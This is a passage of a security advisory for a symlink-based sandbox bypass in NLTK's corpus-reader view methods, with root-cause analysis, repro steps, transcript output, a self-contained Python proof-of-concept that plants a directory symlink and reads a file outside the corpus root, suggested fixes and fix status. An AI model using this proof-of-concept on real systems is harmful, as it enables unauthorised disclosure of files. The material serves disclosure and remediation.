  2. R=$SANDBOX/corpora/mysample, BAR=$SANDBOX/bar; write BAR/secret.txt = TOPSECRET.
  3. ln -s "$BAR" "$R/sub" — intermediate directory symlink inside the corpus root.
  4. Control: reader.open("sub/secret.txt") → ValueError: Security Violation [CorpusReader]: Path <BAR>/secret.txt escapes root <R> (refused).
  5. Attack: reader.abspaths(["sub/secret.txt"])[0].open().read() → b'TOPSECRET\n'; list(reader.words(["sub/secret.txt"])) → ['TOPSECRET']; same for BracketParseCorpusReader.words/sents.
  6. Boundary: R/out -> /etc (outside every allowed root) is refused with PermissionError: Security Violation [pathsec.open]: Unauthorized path ....

Live transcript, key output (identical on nltk 3.9.4, 3.10.3 and master @ 6818767b9 unless noted):

nltk version: 3.9.4/3.10.3   python: 3.10.12   (posix)
CONTROL open() rejects symlink escape                 ValueError: ... escapes root ...
abspaths() pointer.open() reads outside root          b'TOPSECRET\n'
PlaintextCorpusReader.words() leaks outside root      ['TOPSECRET']
SyntaxCorpusReader.words() leaks outside root         ['TOPSECRET']
GLOBAL sandbox still blocks outside-allowed-root read PermissionError: ... Unauthorized path ...
                                                      (3.10.3+ only; on 3.9.4 the sandbox
                                                       is not enforced and the read succeeds)
RESULT: 3.9.4: 8/9 · 3.10.3: 9/9 · master: 9/9 (all scoped-escape checks pass)

The scoped-escape checks (the vulnerability itself) pass on all three pinned versions; the single 3.9.4 difference is the global-sandbox boundary check, which is weaker there by design (ENFORCE=False, thin pathsec.open).

Impact

  • Type: CWE-59 improper link resolution before file access (with CWE-22 traversal flavor). A local principal who can place an intermediate-directory symlink inside an NLTK corpus root — e.g. a user with any account that loads NLTK corpora, or the supplier of an untrusted corpus in a supply-chain/web-service loading model — can read the contents of any file that lies inside a global NLTK allowed root but outside the corpus root.
  • Who is impacted: any deployment where a trusted application loads NLTK corpus data that is or contains attacker-influenced directory symlinks: shared/multi-tenant pipelines, notebooks, services that extract downloaded corpora (via tar/git/app logic) into ~/nltk_data/nltk.data.path roots, and CI systems. The scoped guard was added specifically so that "corpus root + in-root symlink" cannot read outside the root even when the target stays inside the global sandbox.
  • Attacker requirements: a directory symlink must physically exist inside a corpus root on the target machine, pointing at another NLTK allowed root; the fileids passed to a view method must traverse it (fileids is caller-controlled on every affected view method). The attacker therefore needs local filesystem influence to place the symlink — direct write access to the data root, or supply of an untrusted corpus that is unpacked in a symlink-preserving way (manual tar extraction, git checkout, shared/multi-tenant data directory, or app-specific unpacking logic). Note that NLTK's own downloader only handles .zip, and Python zipfile extraction does not preserve symlinks (a symlink member is written as a plain file), so a bare "upload a zip" delivery does not by itself place the symlink. This is why the vector is scored AV:L/PR:L rather than AV:N/PR:N: the read is a local file access and the triggering symlink must already be on the local filesystem. In deployments where a symlink-preserving remote corpus feed feeds the data directory automatically, an attacker could achieve the same effect with no local account; that scenario is covered here under "who is impacted" rather than as a stronger default score.
  • Effect: cross-corpus / cross-data disclosure of file contents within the global NLTK data sandbox (e.g. reading one corpus through another, or reading private data staged under an allowed root). The global sandbox still confines reads to allowed roots; this does not reach /etc/passwd or arbitrary paths outside the sandbox.

Suggested fix: make the scoped check the single shared behavior of the corpus file-access surface instead of an open()-only special case:

  1. In CorpusReader.abspath()/abspaths() (api.py:174-217), run pathsec.validate_path(self._root.join(f), context="CorpusReader", required_root=self._root) for every f before returning the pointer — this is the same Layer-2 check open() performs at api.py:246-249, so both channels reject a symlink-resolved escape identically.
  2. Alternatively (or additionally), thread required_root through the pointer: have CorpusReader attach its root to the FileSystemPathPointer (or have StreamBackedCorpusView._open() in util.py:203-216 pass a scoped root), so pathsec.open/_hardened_open validate the opened fd's realpath against the corpus root — closing the same gap for any future caller that opens pointers.
  3. Add regression coverage mirroring test_required_root_blocks_symlink_escape for the view-method channel: a corpus root inside a global allowed root, an intermediate directory symlink to an out-of-root sibling, explicit fileids=["sub/secret.txt"], and an assertion that reader.words(fileids=[...]) (and sents/abspaths().open()) raise ValueError/PermissionError exactly as reader.open(...) does.

Reproduction script (self-contained)

# Self-checking, control-grouped reproduction script embedded in this advisory.
# Usage: python3 - <<'EOF' ... EOF   (requires: pip install nltk)
# A private temp sandbox is created at runtime and registered via nltk.data.path.

#!/usr/bin/env python3
"""Self-checking reproduction of CorpusReader view-method scoped-sandbox bypass.

The affected surfaces are:
  - CorpusReader.abspaths()/abspath() return a FileSystemPathPointer without the
    required_root scoped check that CorpusReader.open() applies (api.py:235-257);
    PlaintextCorpusReader view methods open those pointers directly.
  - SyntaxCorpusReader view methods (words/sents/parsed_sents/tagged_words/
    tagged_sents) also open via abspaths() without the scoped check.

Control group: the SAME fileid through reader.open() is rejected by the Layer-2
scoped guard (validate_path(..., required_root=self._root)).

Environment: base sandbox dir is a private temp dir appended to nltk.data.path
(the attacker-controlled corpus root lives inside an allowed NLTK data root).
"""

import os
import shutil
import sys
import tempfile

import nltk
import nltk.data

PASS = 0
FAIL = 0


def check(name, cond, detail=""):
    global PASS, FAIL
    if cond:
        PASS += 1
        print(f"PASS  {name}  {detail}")
    else:
        FAIL += 1
        print(f"FAIL  {name}  {detail}")


def main():
    print(f"nltk version: {nltk.__version__}   python: {sys.version.split()[0]}")
    import nltk.pathsec as ps

    print(f"pathsec.ENFORCE = {ps.ENFORCE}   posix = {os.name == 'posix'}")

    base = tempfile.mkdtemp(prefix="nltk_sandbox_")
    os.chmod(base, 0o700)
    nltk.data.path.append(base)  # make the private sandbox an allowed NLTK data root

    rootA = os.path.join(base, "corpora", "mysample")   # corpus root R
    rootB = os.path.join(base, "bar")                   # sibling, inside allowed root
    os.makedirs(rootA)
    os.makedirs(rootB)

    secret = "TOPSECRET"
    with open(os.path.join(rootB, "secret.txt"), "w") as f:
        f.write(secret + "\n")

    # Bracket-parse file is read as sexpr blocks by BracketParseCorpusReader
    with open(os.path.join(rootB, "bracket.txt"), "w") as f:
        f.write("(S (NP TOPSECRET))\n")

    # Intermediate-directory symlink inside the corpus root -> sibling outside R
    linkdir = os.path.join(rootA, "sub")
    os.symlink(rootB, linkdir)

    check("sandbox is an allowed root", base in {str(p) for p in ps._get_allowed_roots()})
    check("symlink created", os.path.islink(linkdir))

    # ---------------------------------------------------------------- control
    from nltk.corpus.reader.plaintext import PlaintextCorpusReader

    reader = PlaintextCorpusReader(rootA, r".*")
    try:
        reader.open("sub/secret.txt")
        check("CONTROL open() rejects symlink escape", False, "no exception raised")
    except ValueError as e:
        check("CONTROL open() rejects symlink escape", True, f"ValueError: {str(e)[:60]}")
    except PermissionError as e:
        check("CONTROL open() rejects symlink escape", True, f"PermissionError: {str(e)[:60]}")
    except Exception as e:
        check("CONTROL open() rejects symlink escape", True, f"{type(e).__name__}: {str(e)[:60]}")

    # ------------------------------------------------- abspaths() pointer
    ptr = reader.abspaths(["sub/secret.txt"])[0]
    try:
        content = ptr.open().read()
        check("abspaths() pointer.open() reads outside root", content == (secret + "\n").encode(), f"got {content!r}")
    except Exception as e:
        check("abspaths() pointer.open() reads outside root", False, f"{type(e).__name__}: {str(e)[:60]}")

    # ------------------------------------------------- PlaintextReader.words()
    try:
        words = list(reader.words(["sub/secret.txt"]))
        check("PlaintextCorpusReader.words() leaks outside root", any(secret in w for w in words), f"words={words}")
    except Exception as e:
        check("PlaintextCorpusReader.words() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")

    # ------------------------------------------------------------ syntax views
    from nltk.corpus.reader.bracket_parse import BracketParseCorpusReader

    brow = BracketParseCorpusReader(rootA, r".*")
    try:
        # control on the syntax reader open()
        brow.open("sub/bracket.txt")
        check("CONTROL syntax reader open() rejects symlink escape", False, "no exception raised")
    except Exception as e:
        check("CONTROL syntax reader open() rejects symlink escape", True, f"{type(e).__name__}: {str(e)[:60]}")

    try:
        sent = list(brow.words(["sub/bracket.txt"]))
        check("SyntaxCorpusReader.words() leaks outside root", any(secret in w for w in sent), f"words={sent}")
    except Exception as e:
        check("SyntaxCorpusReader.words() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")

    try:
        sents = list(brow.sents(["sub/bracket.txt"]))
        check("SyntaxCorpusReader.sents() leaks outside root", any(secret in w for w in sents), f"sents={sents}")
    except Exception as e:
        check("SyntaxCorpusReader.sents() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")

    # ----------------------------------------------------------- global-sandbox boundary
    # The escape is bounded: a file OUTSIDE every allowed root must still be refused.
    outside = os.path.join(base, "..", "etc")
    os.makedirs(outside, exist_ok=True)
    outfile = os.path.join(outside, "secret.txt")
    with open(outfile, "w") as f:
        f.write("OUTSIDE\n")
    # point a second symlink inside rootA to a directory outside all allowed roots
    linkout = os.path.join(rootA, "out")
    os.symlink(outside, linkout)
    try:
        got = reader.abspaths(["out/secret.txt"])[0].open().read()
        check("GLOBAL sandbox still blocks outside-allowed-root read", False, f"leaked {got!r}")
    except Exception as e:
        check("GLOBAL sandbox still blocks outside-allowed-root read", True, f"{type(e).__name__}: {str(e)[:60]}")

    print(f"\nRESULT: {PASS} passed, {FAIL} failed")
    shutil.rmtree(base, ignore_errors=True)
    return 0 if FAIL == 0 else 1


if __name__ == "__main__":
    sys.exit(main())

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3761 "Contain CorpusReader / agreement / chat80 file I/O in the pathsec sandbox", merged 2026-08-17, merge commit cd4953f7b on develop. Fix commit: 9f7cf06b4 (the corpus-reader path pointers and view methods resolve and validate against the reader's root, so an intermediate directory symlink that leaves the root is refused).

Probe: none. The advisory PoC re-run (a corpus root R with R/sub pointing at a sibling directory inside the same data root, then abspaths()[0].open(), words() and open() on sub/secret.txt): on develop 2fa3f48fe all three are refused with ValueError (security violation, path escapes root); on v3.10.3 and on 6818767b9 abspaths().open() and words() return the secret while open() is refused, which matches the advisory. A bisect of develop between 6818767b9 and 2fa3f48fe with that reproduction names 9f7cf06b4 as the first fixed commit.

Release: none yet; no release tag contains 9f7cf06b4.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.4"
            },
            {
              "fixed": "3.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-128137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-19T23:56:30Z",
    "nvd_published_at": "2026-11-19T19:17:20Z",
    "severity": "MODERATE"
  },
  "details": "\u003e **affected**: PyPI `nltk` `\u003e= 3.9.4` \u2014 `CorpusReader.abspaths()`/`abspath()` and the `PlaintextCorpusReader` / `SyntaxCorpusReader` view methods\n\u003e **dynamically reproduced**: `nltk` `3.9.4` (8/9, scoped-escape checks), `3.10.3` (wheel, 9/9 checks) and `master` `6818767b9` (9/9 checks)\n\n---\n\n_Source references (`file:line`) are to commit `303f6e2b` (release tag `v3.10.3`). Line numbers in the released `nltk` wheel match this tag exactly; `master` `6818767b9` contains the same code (pathsec.py renumbered by +44 lines from added hardening comments). In `3.9.4` the same logic exists at earlier line numbers (`api.py:222-236` for `open()`, `api.py:161-203` for `abspath()`/`abspaths()`, `data.py:382-388` for the pointer open, `pathsec.py:105-114` for the scoped branch); the affected code is identical._\n\n### Summary\n\n`CorpusReader.open()` (`nltk/corpus/reader/api.py:235-257`) is NLTK\u0027s hardened file-access entry point: after a lexical guard it calls `validate_path(..., required_root=self._root)` (`api.py:246-249`), and the scoped branch of `pathsec.validate_path` (`nltk/pathsec.py:168-179`) resolves symlinks and raises `ValueError` when the resolved target is not inside the corpus root. The view methods do **not** use this entry point: `PlaintextCorpusReader.words/sents/paras` (`nltk/corpus/reader/plaintext.py:67-118`) and `SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words` (`api.py:473-519`) build their streams from `self.abspaths(fileids, ...)` (`api.py:174-217`), which only does a lexical `self._root.join(fileid)` (`nltk/data.py:452-469`) and returns a `FileSystemPathPointer`. That pointer is opened via `FileSystemPathPointer.open()` \u2192 `pathsec.open(raw_path, \"rb\")` with `required_root` left at its default `None` (`data.py:438-447`, `nltk/pathsec.py:752,783`), so only the **global** allowed-roots check runs. The `O_NOFOLLOW` in `_hardened_open` (`pathsec.py:676-731`) protects only the final path component, so an **intermediate-directory symlink inside the corpus root** pointing at a sibling allowed root is followed by the kernel. **A caller who places such a symlink (or loads an untrusted corpus containing one) can read any file that `open()` would refuse \u2014 files outside the corpus root yet inside the global NLTK data sandbox \u2014 via `PlaintextCorpusReader.words([...])` / `SyntaxCorpusReader.words([...])` (and the `abspaths()`-returned pointer), defeating the scoped escape protection that GHSA-p4rw-class fixes and `test_required_root_blocks_symlink_escape` were added for.**\n\n### Details\n\nRoot cause: two sibling file-access channels on the same `CorpusReader` disagree about the scoped sandbox.\n\n1. `CorpusReader.open()` (`api.py:235-257`) \u2014 the guarded channel:\n   - Layer 1 lexical guard (`api.py:240-242`) rejects absolute paths and `..`.\n   - Layer 2 scoped guard (`api.py:246-249`) calls `pathsec.validate_path(path, context=\"CorpusReader\", required_root=self._root)`.\n   - The `required_root` branch (`pathsec.py:168-179`) resolves the target with `Path(raw).resolve()` and raises `ValueError` when `target.is_relative_to(scoped_root)` is false.\n\n2. The view-method channel \u2014 `abspaths()` \u2192 `FileSystemPathPointer` \u2192 `pathsec.open(required_root=None)`:\n   - `CorpusReader.abspath()` (`api.py:174-183`) and `abspaths()` (`api.py:185-217`) return `self._root.join(f)` with **no** `validate_path` call.\n   - `FileSystemPathPointer.join()` (`data.py:452-469`) only normalizes lexically (`normpath` + root-prefix `startswith`); it never calls `os.path.realpath`/`Path.resolve`, so the intermediate symlink is preserved verbatim.\n   - `FileSystemPathPointer.open()` (`data.py:438-447`) calls `_secure_open(self._path, \"rb\")` (aliased from `pathsec.open`) with no `required_root`, so `pathsec.open` (`pathsec.py:752`) uses its default `required_root=None` and `validate_path` (`pathsec.py:783`) runs only the global allowed-roots check (`pathsec.py:181-207`).\n   - Under `ENFORCE=True` + POSIX, `_hardened_open` (`pathsec.py:676-731`) opens with `O_NOFOLLOW` (`pathsec.py:705`) \u2014 but that flag only refuses a symlink in the **final** component; an intermediate directory symlink (`corpus/sub -\u003e \u003cother allowed root\u003e`) is followed by the kernel. The post-open fd realpath re-validation (`pathsec.py:728-731`) again uses `required_root=None`, and since the target is inside an allowed root it passes.\n\n3. The view methods hand the unguarded pointers straight to the stream views:\n   - `PlaintextCorpusReader.words/sents/paras` (`plaintext.py:67-118`, abspaths at `76/96/116`) and `chapters` (`plaintext.py:230`).\n   - `SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words` (`api.py:473-519`, abspaths at `478/489/498/509/517`).\n   - `StreamBackedCorpusView._open()` (`nltk/corpus/reader/util.py:203-216`) calls `self._fileid.open(self._encoding)` on the `PathPointer` (`util.py:210`), landing in the `required_root=None` path above.\n\nNet effect (observed): the identical fileid `\"sub/secret.txt\"` is rejected by `reader.open()` with `ValueError: Security Violation [CorpusReader]: Path ... escapes root ...` but successfully read by `reader.words([\"sub/secret.txt\"])`, returning the out-of-root file\u0027s content.\n\nThe `abspaths()`/view-method bypass contradicts the contract stated in `open()`\u0027s docstring (`api.py:238`, \"Security patched: prevents path traversal and scoped escapes\") and the class-level promise that every fileid stays within the corpus root (`api.py:26-30`). Existing regression tests cover only the `open()`/`validate_path(required_root=...)` path (`test_corpus_reader.py:31`, `test_corpus_reader_pathsec.py:39-49`), not the view-method channel.\n\n### PoC\n\nA self-contained, self-checking repro script is embedded at the end of this advisory. It builds a private temp sandbox as an allowed NLTK data root, creates corpus root `R`, sibling `bar` (inside the same allowed root), file `bar/secret.txt` = `TOPSECRET`, and an intermediate directory symlink `R/sub -\u003e bar`. It then asserts the **control** (same fileid through `open()` is refused) and the **attack** (`abspaths()` pointer, `PlaintextCorpusReader.words`, `SyntaxCorpusReader.words/sents` read the secret), plus a boundary check that a symlink pointing outside every allowed root is still refused.\n\n**Scope note**: dynamically run on (1) the released `nltk 3.9.4` wheel, (2) the released `nltk 3.10.3` wheel, and (3) `master` `6818767b9` (v3.10.3-15-g6818767b9). The scoped-escape checks pass on all three; the \"global sandbox still blocks outside-allowed-root read\" boundary check passes on 3.10.3 and `master`, and is *expected to differ* on 3.9.4: 3.9.4 ships `pathsec.ENFORCE = False` (enforcement became the default only in 3.10.0) and its `pathsec.open` is a thin `builtins.open` wrapper with no `_hardened_open`/`O_NOFOLLOW`, so on 3.9.4 the sandbox does not confine reads to the allowed roots at all \u2014 the escape is *broader* there, not narrower. The `required_root` scoped guard (`1b0e519e2`, \"Implement scoped root validation in pathsec sentinel\") is present in `3.9.4` and every later release (`v3.10.0`/`3.10.1`/`3.10.2`/`3.10.3` confirmed by tag inspection), and static comparison shows the identical `abspaths()`/view-method code path in all of them; `3.9.4` and `3.10.3` were the versions dynamically run.\n\nEnvironment / steps (Python 3.10.12, Linux, `pathsec.ENFORCE=True`, POSIX):\n\n1. `SANDBOX=$(mktemp -d)`; `nltk.data.path.append(SANDBOX)` \u2014 the private dir becomes an allowed NLTK data root.\n2. `R=$SANDBOX/corpora/mysample`, `BAR=$SANDBOX/bar`; write `BAR/secret.txt` = `TOPSECRET`.\n3. `ln -s \"$BAR\" \"$R/sub\"` \u2014 intermediate directory symlink inside the corpus root.\n4. Control: `reader.open(\"sub/secret.txt\")` \u2192 `ValueError: Security Violation [CorpusReader]: Path \u003cBAR\u003e/secret.txt escapes root \u003cR\u003e` (refused).\n5. Attack: `reader.abspaths([\"sub/secret.txt\"])[0].open().read()` \u2192 `b\u0027TOPSECRET\\n\u0027`; `list(reader.words([\"sub/secret.txt\"]))` \u2192 `[\u0027TOPSECRET\u0027]`; same for `BracketParseCorpusReader.words/sents`.\n6. Boundary: `R/out -\u003e /etc` (outside every allowed root) is refused with `PermissionError: Security Violation [pathsec.open]: Unauthorized path ...`.\n\nLive transcript, key output (identical on `nltk 3.9.4`, `3.10.3` and `master @ 6818767b9` unless noted):\n\n```\nnltk version: 3.9.4/3.10.3   python: 3.10.12   (posix)\nCONTROL open() rejects symlink escape                 ValueError: ... escapes root ...\nabspaths() pointer.open() reads outside root          b\u0027TOPSECRET\\n\u0027\nPlaintextCorpusReader.words() leaks outside root      [\u0027TOPSECRET\u0027]\nSyntaxCorpusReader.words() leaks outside root         [\u0027TOPSECRET\u0027]\nGLOBAL sandbox still blocks outside-allowed-root read PermissionError: ... Unauthorized path ...\n                                                      (3.10.3+ only; on 3.9.4 the sandbox\n                                                       is not enforced and the read succeeds)\nRESULT: 3.9.4: 8/9 \u00b7 3.10.3: 9/9 \u00b7 master: 9/9 (all scoped-escape checks pass)\n```\n\nThe scoped-escape checks (the vulnerability itself) pass on all three pinned versions; the single 3.9.4 difference is the global-sandbox boundary check, which is weaker there by design (`ENFORCE=False`, thin `pathsec.open`).\n\n### Impact\n\n- **Type**: CWE-59 improper link resolution before file access (with CWE-22 traversal flavor). A local principal who can place an intermediate-directory symlink inside an NLTK corpus root \u2014 e.g. a user with any account that loads NLTK corpora, or the supplier of an untrusted corpus in a supply-chain/web-service loading model \u2014 can read the *contents* of any file that lies inside a global NLTK allowed root but outside the corpus root.\n- **Who is impacted**: any deployment where a trusted application loads NLTK corpus data that is or contains attacker-influenced directory symlinks: shared/multi-tenant pipelines, notebooks, services that extract downloaded corpora (via `tar`/`git`/app logic) into `~/nltk_data`/`nltk.data.path` roots, and CI systems. The scoped guard was added specifically so that \"corpus root + in-root symlink\" cannot read outside the root even when the target stays inside the global sandbox.\n- **Attacker requirements**: a directory symlink must *physically exist* inside a corpus root on the target machine, pointing at another NLTK allowed root; the fileids passed to a view method must traverse it (`fileids` is caller-controlled on every affected view method). The attacker therefore needs local filesystem influence to place the symlink \u2014 direct write access to the data root, or supply of an untrusted corpus that is unpacked in a symlink-preserving way (manual `tar` extraction, `git` checkout, shared/multi-tenant data directory, or app-specific unpacking logic). Note that NLTK\u0027s own `downloader` only handles `.zip`, and Python `zipfile` extraction does **not** preserve symlinks (a symlink member is written as a plain file), so a bare \"upload a zip\" delivery does not by itself place the symlink. This is why the vector is scored `AV:L/PR:L` rather than `AV:N/PR:N`: the read is a local file access and the triggering symlink must already be on the local filesystem. In deployments where a symlink-preserving remote corpus feed feeds the data directory automatically, an attacker could achieve the same effect with no local account; that scenario is covered here under \"who is impacted\" rather than as a stronger default score.\n- **Effect**: cross-corpus / cross-data disclosure of file contents within the global NLTK data sandbox (e.g. reading one corpus through another, or reading private data staged under an allowed root). The global sandbox still confines reads to allowed roots; this does **not** reach `/etc/passwd` or arbitrary paths outside the sandbox.\n\n**Suggested fix**: make the scoped check the single shared behavior of the corpus file-access surface instead of an `open()`-only special case:\n\n1. In `CorpusReader.abspath()`/`abspaths()` (`api.py:174-217`), run `pathsec.validate_path(self._root.join(f), context=\"CorpusReader\", required_root=self._root)` for every `f` before returning the pointer \u2014 this is the same Layer-2 check `open()` performs at `api.py:246-249`, so both channels reject a symlink-resolved escape identically.\n2. Alternatively (or additionally), thread `required_root` through the pointer: have `CorpusReader` attach its root to the `FileSystemPathPointer` (or have `StreamBackedCorpusView._open()` in `util.py:203-216` pass a scoped root), so `pathsec.open`/`_hardened_open` validate the opened fd\u0027s realpath against the corpus root \u2014 closing the same gap for any future caller that opens pointers.\n3. Add regression coverage mirroring `test_required_root_blocks_symlink_escape` for the view-method channel: a corpus root inside a global allowed root, an intermediate directory symlink to an out-of-root sibling, explicit `fileids=[\"sub/secret.txt\"]`, and an assertion that `reader.words(fileids=[...])` (and `sents`/`abspaths().open()`) raise `ValueError`/`PermissionError` exactly as `reader.open(...)` does.\n\n---\n\n### Reproduction script (self-contained)\n\n```bash\n# Self-checking, control-grouped reproduction script embedded in this advisory.\n# Usage: python3 - \u003c\u003c\u0027EOF\u0027 ... EOF   (requires: pip install nltk)\n# A private temp sandbox is created at runtime and registered via nltk.data.path.\n\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction of CorpusReader view-method scoped-sandbox bypass.\n\nThe affected surfaces are:\n  - CorpusReader.abspaths()/abspath() return a FileSystemPathPointer without the\n    required_root scoped check that CorpusReader.open() applies (api.py:235-257);\n    PlaintextCorpusReader view methods open those pointers directly.\n  - SyntaxCorpusReader view methods (words/sents/parsed_sents/tagged_words/\n    tagged_sents) also open via abspaths() without the scoped check.\n\nControl group: the SAME fileid through reader.open() is rejected by the Layer-2\nscoped guard (validate_path(..., required_root=self._root)).\n\nEnvironment: base sandbox dir is a private temp dir appended to nltk.data.path\n(the attacker-controlled corpus root lives inside an allowed NLTK data root).\n\"\"\"\n\nimport os\nimport shutil\nimport sys\nimport tempfile\n\nimport nltk\nimport nltk.data\n\nPASS = 0\nFAIL = 0\n\n\ndef check(name, cond, detail=\"\"):\n    global PASS, FAIL\n    if cond:\n        PASS += 1\n        print(f\"PASS  {name}  {detail}\")\n    else:\n        FAIL += 1\n        print(f\"FAIL  {name}  {detail}\")\n\n\ndef main():\n    print(f\"nltk version: {nltk.__version__}   python: {sys.version.split()[0]}\")\n    import nltk.pathsec as ps\n\n    print(f\"pathsec.ENFORCE = {ps.ENFORCE}   posix = {os.name == \u0027posix\u0027}\")\n\n    base = tempfile.mkdtemp(prefix=\"nltk_sandbox_\")\n    os.chmod(base, 0o700)\n    nltk.data.path.append(base)  # make the private sandbox an allowed NLTK data root\n\n    rootA = os.path.join(base, \"corpora\", \"mysample\")   # corpus root R\n    rootB = os.path.join(base, \"bar\")                   # sibling, inside allowed root\n    os.makedirs(rootA)\n    os.makedirs(rootB)\n\n    secret = \"TOPSECRET\"\n    with open(os.path.join(rootB, \"secret.txt\"), \"w\") as f:\n        f.write(secret + \"\\n\")\n\n    # Bracket-parse file is read as sexpr blocks by BracketParseCorpusReader\n    with open(os.path.join(rootB, \"bracket.txt\"), \"w\") as f:\n        f.write(\"(S (NP TOPSECRET))\\n\")\n\n    # Intermediate-directory symlink inside the corpus root -\u003e sibling outside R\n    linkdir = os.path.join(rootA, \"sub\")\n    os.symlink(rootB, linkdir)\n\n    check(\"sandbox is an allowed root\", base in {str(p) for p in ps._get_allowed_roots()})\n    check(\"symlink created\", os.path.islink(linkdir))\n\n    # ---------------------------------------------------------------- control\n    from nltk.corpus.reader.plaintext import PlaintextCorpusReader\n\n    reader = PlaintextCorpusReader(rootA, r\".*\")\n    try:\n        reader.open(\"sub/secret.txt\")\n        check(\"CONTROL open() rejects symlink escape\", False, \"no exception raised\")\n    except ValueError as e:\n        check(\"CONTROL open() rejects symlink escape\", True, f\"ValueError: {str(e)[:60]}\")\n    except PermissionError as e:\n        check(\"CONTROL open() rejects symlink escape\", True, f\"PermissionError: {str(e)[:60]}\")\n    except Exception as e:\n        check(\"CONTROL open() rejects symlink escape\", True, f\"{type(e).__name__}: {str(e)[:60]}\")\n\n    # ------------------------------------------------- abspaths() pointer\n    ptr = reader.abspaths([\"sub/secret.txt\"])[0]\n    try:\n        content = ptr.open().read()\n        check(\"abspaths() pointer.open() reads outside root\", content == (secret + \"\\n\").encode(), f\"got {content!r}\")\n    except Exception as e:\n        check(\"abspaths() pointer.open() reads outside root\", False, f\"{type(e).__name__}: {str(e)[:60]}\")\n\n    # ------------------------------------------------- PlaintextReader.words()\n    try:\n        words = list(reader.words([\"sub/secret.txt\"]))\n        check(\"PlaintextCorpusReader.words() leaks outside root\", any(secret in w for w in words), f\"words={words}\")\n    except Exception as e:\n        check(\"PlaintextCorpusReader.words() leaks outside root\", False, f\"{type(e).__name__}: {str(e)[:60]}\")\n\n    # ------------------------------------------------------------ syntax views\n    from nltk.corpus.reader.bracket_parse import BracketParseCorpusReader\n\n    brow = BracketParseCorpusReader(rootA, r\".*\")\n    try:\n        # control on the syntax reader open()\n        brow.open(\"sub/bracket.txt\")\n        check(\"CONTROL syntax reader open() rejects symlink escape\", False, \"no exception raised\")\n    except Exception as e:\n        check(\"CONTROL syntax reader open() rejects symlink escape\", True, f\"{type(e).__name__}: {str(e)[:60]}\")\n\n    try:\n        sent = list(brow.words([\"sub/bracket.txt\"]))\n        check(\"SyntaxCorpusReader.words() leaks outside root\", any(secret in w for w in sent), f\"words={sent}\")\n    except Exception as e:\n        check(\"SyntaxCorpusReader.words() leaks outside root\", False, f\"{type(e).__name__}: {str(e)[:60]}\")\n\n    try:\n        sents = list(brow.sents([\"sub/bracket.txt\"]))\n        check(\"SyntaxCorpusReader.sents() leaks outside root\", any(secret in w for w in sents), f\"sents={sents}\")\n    except Exception as e:\n        check(\"SyntaxCorpusReader.sents() leaks outside root\", False, f\"{type(e).__name__}: {str(e)[:60]}\")\n\n    # ----------------------------------------------------------- global-sandbox boundary\n    # The escape is bounded: a file OUTSIDE every allowed root must still be refused.\n    outside = os.path.join(base, \"..\", \"etc\")\n    os.makedirs(outside, exist_ok=True)\n    outfile = os.path.join(outside, \"secret.txt\")\n    with open(outfile, \"w\") as f:\n        f.write(\"OUTSIDE\\n\")\n    # point a second symlink inside rootA to a directory outside all allowed roots\n    linkout = os.path.join(rootA, \"out\")\n    os.symlink(outside, linkout)\n    try:\n        got = reader.abspaths([\"out/secret.txt\"])[0].open().read()\n        check(\"GLOBAL sandbox still blocks outside-allowed-root read\", False, f\"leaked {got!r}\")\n    except Exception as e:\n        check(\"GLOBAL sandbox still blocks outside-allowed-root read\", True, f\"{type(e).__name__}: {str(e)[:60]}\")\n\n    print(f\"\\nRESULT: {PASS} passed, {FAIL} failed\")\n    shutil.rmtree(base, ignore_errors=True)\n    return 0 if FAIL == 0 else 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3761 \"Contain CorpusReader / agreement / chat80 file I/O in the pathsec sandbox\", merged 2026-08-17, merge commit cd4953f7b on develop. Fix commit: 9f7cf06b4 (the corpus-reader path pointers and view methods resolve and validate against the reader\u0027s root, so an intermediate directory symlink that leaves the root is refused).\n\nProbe: none. The advisory PoC re-run (a corpus root R with R/sub pointing at a sibling directory inside the same data root, then abspaths()[0].open(), words() and open() on sub/secret.txt): on develop 2fa3f48fe all three are refused with ValueError (security violation, path escapes root); on v3.10.3 and on 6818767b9 abspaths().open() and words() return the secret while open() is refused, which matches the advisory. A bisect of develop between 6818767b9 and 2fa3f48fe with that reproduction names 9f7cf06b4 as the first fixed commit.\n\nRelease: none yet; no release tag contains 9f7cf06b4.",
  "id": "GHSA-g58v-j9g9-5gfg",
  "modified": "2026-11-19T23:56:30Z",
  "published": "2026-11-19T23:56:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-g58v-j9g9-5gfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3761"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/9f7cf06b4af4ca5c65381ed0abc17e989dc54400"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NLTK corpus-reader view methods bypass the scoped root sandbox via intermediate-directory symlinks"
}

Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
